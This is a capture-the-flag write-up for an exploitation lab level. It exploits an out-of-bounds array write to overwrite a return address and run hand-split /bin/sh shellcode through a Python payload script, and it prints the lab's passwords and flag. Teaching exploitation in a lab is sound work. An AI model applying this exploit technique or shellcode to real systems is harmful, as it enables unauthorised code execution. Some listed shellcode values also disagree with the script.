Lab3A Write-up (Hard)
Again, this last level will be a tricky one. First, log into the Lab03 as Lab3A (lab3A:wh0_n33ds_5h3ll3_wh3n_U_h4z_s4nd
) and go to the challenges folder:
$ ssh lab3A@<VM_IP>
$ cd /levels/lab03/
Let’s execute the program:
lab3A@warzone:/levels/lab03$ ./lab3A
----------------------------------------------------
Welcome to quends crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
quend has reserved some storage for herself :>
----------------------------------------------------
Input command: store
Number: 123
Index: 1
Completed store command successfully
Input command: read
Index: 1
Number at data[1] is 123
Completed read command successfully
Input command: quit
It seems that this code allows us to store and retrieve data. Well, let’s check the code to have more details…
Source Code Analysis
Here is the source code, read it carefully!
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"
#define STORAGE_SIZE 100
int store_number(unsigned int * data)
{
unsigned int input = 0;
unsigned int index = 0;
/* get number to store */
printf(" Number: ");
input = get_unum();
/* get index to store at */
printf(" Index: ");
index = get_unum();
/* make sure the slot is not reserved */
if(index % 3 == 0 || (input >> 24) == 0xb7)
{
printf(" *** ERROR! ***\n");
printf(" This index is reserved for quend!\n");
printf(" *** ERROR! ***\n");
return 1;
}
/* save the number to data storage */
data[index] = input;
return 0;
}
/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
unsigned int index = 0;
/* get index to read from */
printf(" Index: ");
index = get_unum();
printf(" Number at data[%u] is %u\n", index, data[index]);
return 0;
}
int main(int argc, char * argv[], char * envp[])
{
int res = 0;
char cmd[20] = {0};
unsigned int data[STORAGE_SIZE] = {0};
/* doom doesn't like enviroment variables */
clear_argv(argv);
clear_envp(envp);
printf("----------------------------------------------------\n"\
" Welcome to quend's crappy number storage service! \n"\
"----------------------------------------------------\n"\
" Commands: \n"\
" store - store a number into the data storage \n"\
" read - read a number from the data storage \n"\
" quit - exit the program \n"\
"----------------------------------------------------\n"\
" quend has reserved some storage for herself :> \n"\
"----------------------------------------------------\n"\
"\n");
/* command handler loop */
while(1)
{
/* setup for this loop iteration */
printf("Input command: ");
res = 1;
/* read user input, trim newline */
fgets(cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = '\0';
/* select specified user command */
if(!strncmp(cmd, "store", 5))
res = store_number(data);
else if(!strncmp(cmd, "read", 4))
res = read_number(data);
else if(!strncmp(cmd, "quit", 4))
break;
/* print the result of our command */
if(res)
printf(" Failed to do %s command\n", cmd);
else
printf(" Completed %s command successfully\n", cmd);
memset(cmd, 0, sizeof(cmd));
}
return EXIT_SUCCESS;
}
That’s a big piece of code, but can you see the problem? It’s right here…
if(index % 3 == 0 || (input >> 24) == 0xb7)
{
printf(" *** ERROR! ***\n");
printf(" This index is reserved for quend!\n");
printf(" *** ERROR! ***\n");
return 1;
}
data[index] = input;
Except if the index is a multiple of 3 or the input most significant byte equals 0xb7, you can store data anywhere you want!
Let me be more precise, here is another part of the code:
#define STORAGE_SIZE 100
unsigned int data[STORAGE_SIZE] = {0};
The data array has a size of 100 bytes initialized with “0” bytes, but as long as you respect the condition, you can store data outside this array with an index greater than 100, like 104…
----------------------------------------------------
Welcome to quend's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
quend has reserved some storage for herself :>
----------------------------------------------------
Input command: store
Number: 1234
Index: 104
Completed store command successfully
See? No problems! But what does it mean? Well, if we find the corresponding index to the return address of main(), we can overwrite it. Then, when we submit the quit command, we take the control of the execution flow!
Let’s see if we can reproduce that in memory.
Dynamic Analysis
Here we need two pieces of information:
- The return address of main(), so we can know what to look for on the stack.
- The address of
data[STORAGE_SIZE]
in memory.
Let’s start with the return address of main(). It’s quite easy to get, we just need to place a breakpoint on the ret
instruction at the end of the *main() function and check the content of ESP.
gdb-peda$ disas main
Dump of assembler code for function main:
0x08048a12 <+0>: push ebp
0x08048a13 <+1>: mov ebp,esp
...[snip]...
0x08048c3b <+553>: ret
End of assembler dump.
gdb-peda$ break *main+553
Breakpoint 1 at 0x8048c3b
gdb-peda$ run
Starting program: /levels/lab03/lab3A
----------------------------------------------------
Welcome to quend's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
quend has reserved some storage for herself :>
----------------------------------------------------
Input command: quit
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x74 ('t')
EDX: 0xbffff698 ("quit")
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff6bc --> 0xb7e3ca83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
EIP: 0x8048c3b (<main+553>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048c38 <main+550>: pop ebx
0x8048c39 <main+551>: pop edi
0x8048c3a <main+552>: pop ebp
=> 0x8048c3b <main+553>: ret
0x8048c3c: xchg ax,ax
0x8048c3e: xchg ax,ax
0x8048c40 <__libc_csu_init>: push ebp
0x8048c41 <__libc_csu_init+1>: push edi
[------------------------------------stack-------------------------------------]
0000| 0xbffff6bc --> 0xb7e3ca83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0004| 0xbffff6c0 --> 0x1
0008| 0xbffff6c4 --> 0xbffff758 --> 0x0
0012| 0xbffff6c8 --> 0xbffff7bc --> 0x0
0016| 0xbffff6cc --> 0xb7feccea (<call_init+26>: add ebx,0x12316)
0020| 0xbffff6d0 --> 0x1
0024| 0xbffff6d4 --> 0xbffff754 --> 0xbffff888 --> 0x0
0028| 0xbffff6d8 --> 0xbffff6f4 --> 0x49323f3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048c3b in main ()
The return address is 0xb7e3ca83
. Now, let’s look for the index 1 of data[STORAGE_SIZE]
.
Here we can simply set a breakpoint where main() calls the store_number() function and check ESP. Why? Because store_number() (as well as read_number()) takes a pointer to data[]
as argument.
gdb-peda$ break *main+341
Breakpoint 1 at 0x8048b67
gdb-peda$ run
Starting program: /levels/lab03/lab3A
----------------------------------------------------
Welcome to quend's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
quend has reserved some storage for herself :>
----------------------------------------------------
Input command: store
[----------------------------------registers-----------------------------------]
EAX: 0xbffff508 --> 0x0
EBX: 0xbffff508 --> 0x0
ECX: 0x65 ('e')
EDX: 0xbffff698 ("store")
ESI: 0x0
EDI: 0xbffff698 ("store")
EBP: 0xbffff6b8 --> 0x0
ESP: 0xbffff4f0 --> 0xbffff508 --> 0x0
EIP: 0x8048b67 (<main+341>: call 0x8048917 <store_number>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048b5e <main+332>: jne 0x8048b75 <main+355>
0x8048b60 <main+334>: lea eax,[esp+0x18]
0x8048b64 <main+338>: mov DWORD PTR [esp],eax
=> 0x8048b67 <main+341>: call 0x8048917 <store_number>
0x8048b6c <main+346>: mov DWORD PTR [esp+0x1bc],eax
0x8048b73 <main+353>: jmp 0x8048bd2 <main+448>
0x8048b75 <main+355>: mov DWORD PTR [esp+0x8],0x4
0x8048b7d <main+363>: mov DWORD PTR [esp+0x4],0x8048f63
Guessed arguments:
arg[0]: 0xbffff508 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff4f0 --> 0xbffff508 --> 0x0
0004| 0xbffff4f4 --> 0x8048f5d ("store")
0008| 0xbffff4f8 --> 0x5
0012| 0xbffff4fc --> 0x0
0016| 0xbffff500 --> 0xb7fff55c --> 0xb7fde000 --> 0x464c457f
0020| 0xbffff504 --> 0xbffff568 --> 0x0
0024| 0xbffff508 --> 0x0
0028| 0xbffff50c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048b67 in main ()
Here, the pointer to the data[]
array is 0xbffff508
. Now, what? Well, now that we have the pointer of our array, we can start dumping the content of the stack to find out where the main() return address (0xb7e3ca83
) is:
gdb-peda$ x/128x 0xbffff508
0xbffff508: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff518: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff528: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff538: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff548: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff558: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff568: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff578: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff588: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff598: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5a8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5b8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5c8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5d8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5e8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5f8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff608: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff618: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff628: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff638: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff648: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff658: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff668: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff678: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff688: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff698: 0x726f7473 0x00000065 0x00000000 0x00000000
0xbffff6a8: 0x00000000 0x00000001 0xb7fcd000 0x00000000
0xbffff6b8: 0x00000000 0xb7e3ca83 0x00000001 0xbffff758
0xbffff6c8: 0xbffff7bc 0xb7feccea 0x00000001 0xbffff754
The return address is 0xb7e3ca83
and is placed at 0xbffff6bc
on the stack. Given the array starts at 0xbffff508
(index 0), we just need to do a little subtraction:
(0xbffff6bc - 0xbffff508) / 4 = 0x6d
We found 0x6d or 109 in decimal. Note that we divided the result by 4 because the program store integers, not bytes! So, if we are right, we should be able to overwrite the return address by writing something at index 109. Let’s do a quick check and store 1094795585 (0x41414141) at the index 109.
gdb-peda$ run
Starting program: /levels/lab03/lab3A
----------------------------------------------------
Welcome to quend's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
quend has reserved some storage for herself :>
----------------------------------------------------
Input command: store
Number: 1094795585
Index: 109
Completed store command successfully
Input command: quit
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x74 ('t')
EDX: 0xbffff698 ("quit")
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff6c0 --> 0x1
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff6c0 --> 0x1
0004| 0xbffff6c4 --> 0xbffff758 --> 0x0
0008| 0xbffff6c8 --> 0xbffff7bc --> 0x0
0012| 0xbffff6cc --> 0xb7feccea (<call_init+26>: add ebx,0x12316)
0016| 0xbffff6d0 --> 0x1
0020| 0xbffff6d4 --> 0xbffff754 --> 0xbffff888 --> 0x0
0024| 0xbffff6d8 --> 0xbffff6f4 --> 0x65a027a6
0028| 0xbffff6dc --> 0x804a27c --> 0xb7e3c990 (<__libc_start_main>: push ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
This is awesome! We have the control over EIP :) But that’s only the first problem. Now, we need to write a shellcode to return to but we cannot write at certain index (do you remember this check if(index % 3 == 0 || (input >> 24) == 0xb7)
). How can we do that? Let’s think about it.
Shellcoding
Ok, we got control over the return address so, we could use this to return to the data array. But we can’t write a “continuous” shellcode as we have to respect the following condition : if(index % 3 == 0 || (input >> 24) == 0xb7)
. That means if I try to write a “fake” shellcode in memory, it’ll look like that :
0xbffff548: 0x00000000 0x41414141 0x41414141 0x00000000
0xbffff558: 0x41414141 0x41414141 0x00000000 0x41414141
0xbffff568: 0x41414141 0x00000000 0x41414141 0x41414141
Yep, we cannot write at certain index… But what if we could jump over those NULL bytes? I won’t go too deep into the details, but you can check this technique here.
As you can see, we can write 2 bytes of data before hitting a reserved address space. But we could use what we call short jump or forward short jumps. Forward Jumps use relative offset values from 00h to 7Fh which enable program execution to jump to another instruction with a maximum of 127 bytes between them.
So, we could write a small part of a shellcode then jump over the NULL bytes, execute another part, then jump over the NULL bytes, etc. Here we have to jump over 4 bytes. In assembler it means : \xeb\x04
(check here).
Okay, we are almost there! As it’s kind of annoying to write a long shellcode with this method, we’ll stick to something short.
global _start
_start:
xor eax, eax ; EAX = 0
push eax ; push our null byte on the stack to end the string
; push "/bin//sh" in reverse order
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
; execve("/bin//sh/", 0, 0);
mov ebx, esp ; EBX = ptr to "/bin//sh"
mov ecx, eax ; ECX = 0
mov edx, eax ; EDX = 0
mov al, 0xb ; sys_execve()
int 0x80
Note The Warzone VM doesn’t have NASM installed, so I did the development on another Linux VM.
$ nano shellcode.asm
$ nasm -f elf32 shellcode.asm
Then, we can check the code and generate the shellcode.
$ objdump -M intel -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 89 c1 mov ecx,eax
11: 89 c2 mov edx,eax
13: b0 0b mov al,0xb
15: cd 80 int 0x80
Now, we need to split the shellcode into chunks of 6 bytes, pad it with NOPs (0x90
) and add the short jump of 4 bytes (\xeb\x04
).
31 c0 50 90 90 90 eb 04
68 2f 2f 73 68 90 eb 04
68 2f 62 69 6e 90 eb 04
89 e3 89 c1 89 c2 eb 04
b0 0b cd 80
Finally, we can convert the values to 4-byte unsigned integers (little endian).
0x9050c031
0x04eb9090
0x732f2f68
0x04eb9068
0x69622f68
0x04eb906e
0xc189e389
0x04ebc289
0x08cd0bb0
Then, we can create our proof of concept. Note that the shellcode will start at the address 0xbffff50c
and not 0xbffff508
as we cannot write at the index 0.
def store(val, idx):
data = "store\n"
data += str(int(val)) + "\n"
data += str(idx) + "\n"
return data
payload = store(0x90909090, 1)
payload += store(0x04eb9090, 2)
payload += store(0x90909090, 4)
payload += store(0x04eb9090, 5)
payload += store(0x90909090, 7)
payload += store(0x04eb9090, 8)
payload += store(0x90909090, 10)
payload += store(0x04eb9090, 11)
payload += store(0x90909090, 13)
payload += store(0x04eb9090, 14)
payload += store(0x9050c031, 16)
payload += store(0x04eb9090, 17)
payload += store(0x732f2f68, 19)
payload += store(0x04eb9068, 20)
payload += store(0x69622f68, 22)
payload += store(0x04eb906e, 23)
payload += store(0xc189e389, 25)
payload += store(0x04ebc289, 26)
payload += store(0x80cd0bb0, 28)
# Overwrite the return address
payload += store(0xbffff50c, 109)
payload += "quit\n"
print(payload)
Next, let’s execute our proof of concept in gdb
.
gdb-peda$ r < <(python /tmp/lab3c.py)
Starting program: /levels/lab03/lab3A < <(python /tmp/lab3c.py)
----------------------------------------------------
Welcome to quend's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
quend has reserved some storage for herself :>
----------------------------------------------------
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
process 2373 is executing new program: /bin/dash
[Inferior 1 (process 2373) exited normally]
Warning: not running or target is remote
Nice, it seems to be working.
Solution
As the stack addresses determined using gdb vary when directly executing the program, we have to try different addresses to hit the shellcode. The address for the index 1 of the data[]
we found in gdb was 0xbffff50c
, as the stack address are usually a bit lower outside gdb, we can decrease the 0xbffff50c
value one by one until we reach a valid return address.
Here 0xbffff4ea
did the trick.
lab3A@warzone:/levels/lab03$ (python /tmp/lab3c.py;cat;) | ./lab3A
----------------------------------------------------
Welcome to quend's crappy number storage service!
----------------------------------------------------
Commands:
store - store a number into the data storage
read - read a number from the data storage
quit - exit the program
----------------------------------------------------
quend has reserved some storage for herself :>
----------------------------------------------------
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
Input command: Number: Index: Completed store command successfully
whoami
lab3end
cat /home/lab3end/.pass
sw00g1ty_sw4p_h0w_ab0ut_d3m_h0ps
Good job! You can go to the next challenge and learn about format strings!